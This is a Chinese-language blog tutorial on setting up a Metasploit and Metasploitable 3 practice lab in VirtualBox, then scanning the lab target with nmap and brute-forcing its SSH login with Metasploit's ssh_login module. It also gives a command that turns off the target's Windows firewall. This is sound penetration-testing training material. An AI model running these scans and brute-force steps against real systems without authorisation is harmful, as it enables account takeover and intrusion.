Linux

Metasploit 使用與 Metasploitable 靶機安裝教學與範例

介紹如何使用 metasploit 進行滲透測試,並搭建 metasploitable 3 靶機進行演練。

metasploit 是一套很普遍被使用的滲透測試架構(penetration testing framework),這裡我們使用一台 MacBook Pro 搭配 VirtualBox 虛擬機器,在虛擬環境下搭建滲透測試的演練環境。

這裡我們打算在 VirtualBox 中建立一個 NAT 網路,將一台 Kali Linux 與兩台靶機都放在裡面,方便測試。

安裝 Kali Linux

裝好 VirtualBox 之後,下載 Kali Linux 的 VirtualBox 影像檔,匯入 VirtualBox。

安裝 Metasploit 工具

若是在 Kali Linux 中,則是內建就已經安裝好 metasploit 了,直接使用即可。

若要安裝 metasploit 滲透測試架構,在 metasploit 官方的 GitHub 網站上有安裝最新版 metasploit 的指令稿,以及適用於 Windows、macOS 與各種 Linux 的安裝檔,對於普通的狀況來說,直接下載預先編譯好的安裝檔來安裝即可。

若是在 Debian/Ubuntu Linux 中,由於 metasploit 已經被收錄在官方的套件庫中,所以直接以 apt 安裝即可:

# 安裝 metasploit 滲透測試架構
sudo apt install metasploit-framework

安裝 Metasploitable 靶機

先在 macOS 中透過 brew 安裝 Vagrant 工具:

# 安裝 Vagrant
brew install vagrant

再參考 Metasploitable 3 的 GitHub 說明,用以下指令建立 Metasploitable 3 靶機:

# 建立 Metasploitable 3 靶機
mkdir metasploitable3-workspace
cd metasploitable3-workspace
curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile
vagrant up

Vagrant 會自動在 VirtualBox 中建立 Ubuntu Linux 14.04 與 Windows Server 2008 的靶機。

VirtualBox 虛擬機器

如果要降低演練的難度,可以在執行 vagrant 指令之前,設定 MS3_DIFFICULTY=easy 將 Windows Server 2008 靶機的防火牆關閉:

# 關閉 Windows Server 2008 靶機防火牆
MS3_DIFFICULTY=easy vagrant up

如果在建立好 Windows Server 2008 靶機之後,要將防火牆關閉,可以使用以下指令:

# 關閉既有 Windows Server 2008 靶機防火牆
netsh advfirewall set allprofiles state off

若要登入靶機,可以使用以下的帳號與密碼:

帳號:vagrant
密碼:vagrant

而 Windows 的 administrator 帳號的密碼也是 vagrant

設定 VirtualBox 網路

在 VirtualBox 的「檔案」選單中,選擇「偏好設定」,然後在「網路」頁籤中新增一組 NAT 網路。

新增一組 NAT 網路

在 VirtualBox 中,更改 Kali Linux 與兩台靶機的網路設定,讓這幾台機器都放在新建立的 NAT 網路中。

滲透測試

這裡示範如何對 Ubuntu Linux 14.04 這台靶機進行滲透測試,首先啟動 VirtualBox 中的 Kali Linux 與 Ubuntu Linux 14.04 靶機。

在 Ubuntu Linux 14.04 靶機中以 vagrant/vagrant 這組帳號密碼登入後,使用 ifconfig 指令查詢其 IP 位址:

# 查詢 IP 位址(Ubuntu 14.04 靶機)
ifconfig eth0

接著在 Kali Linux 中開啟終端機,進入 msfconsole 環境:

# 啟動 msfconsole(Kali Linux)
msfconsole

nmap 對 Ubuntu Linux 14.04 這台靶機執行基本的連接埠掃描:

# 掃描連接埠(Kali Linux)
nmap -sV 192.168.5.5
nmap 掃描連接埠

由於這一台是特別設計的過靶機,所以開了許多的服務,這裡我們示範以暴力法對 SSH 的 22 連接埠進行攻擊。

search 指令搜尋 ssh 相關的模組:

# 搜尋 ssh 相關的模組
search ssh
搜尋 ssh 相關的模組

我們選擇 auxiliary/scanner/ssh/ssh_version 這個偵測 SSH 伺服器版本的模組,並查看該模組的相關參數:

# 使用指定模組
use auxiliary/scanner/ssh/ssh_version

# 顯示模組參數
show options
使用 auxiliary/scanner/ssh/ssh_version 模組

這裡我們將執行緒設定為 3 條,並指定靶機的 IP 位址:

# 設定參數
set THREADS 3
set RHOSTS 192.168.5.5

設定好之後,執行掃描:

# 執行掃描
run
設定參數並掃描 SSH 版本

接著使用 auxiliary/scanner/ssh/ssh_login 模組嘗試以暴力法攻擊(Brute-force attack)破解 SSH 帳號密碼:

# 使用指定模組
use auxiliary/scanner/ssh/ssh_login

# 顯示模組參數
show options
auxiliary/scanner/ssh/ssh_login 模組參數

暴力法攻擊通常都要搭配字典檔,在 Kali Linux 中的 /usr/share/wordlists/ 目錄之下有一些內建的字典檔可以使用,以下是相關參數的設定:

# 設定參數
set THREADS 3
set RHOSTS 192.168.5.5
set STOP_ON_SUCCESS true
set VERBOSE true
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set USER_AS_PASS true

設定好之後,即可執行暴力法攻擊嘗試破解 SSH 帳號密碼:

# 執行暴力法攻擊嘗試破解 SSH 帳號密碼
run
執行暴力法攻擊嘗試破解 SSH 帳號密碼

關於更近一步的 metasploitable 3 的 Ubuntu Linux 14.04 靶機入侵方式,可以參考以下網站:

參考資料

Share
Published by
Office Guide

Recent Posts

Python 使用 PyAutoGUI 自動操作滑鼠與鍵盤

本篇介紹如何在 Python ...

1 年 ago

Ubuntu Linux 以 WireGuard 架設 VPN 伺服器教學與範例

本篇介紹如何在 Ubuntu ...

1 年 ago

Linux 網路設定 ip 指令用法教學與範例

本篇介紹如何在 Linux 系...

1 年 ago

Linux 以 Cryptsetup、LUKS 加密 USB 隨身碟教學與範例

介紹如何在 Linux 系統中...

1 年 ago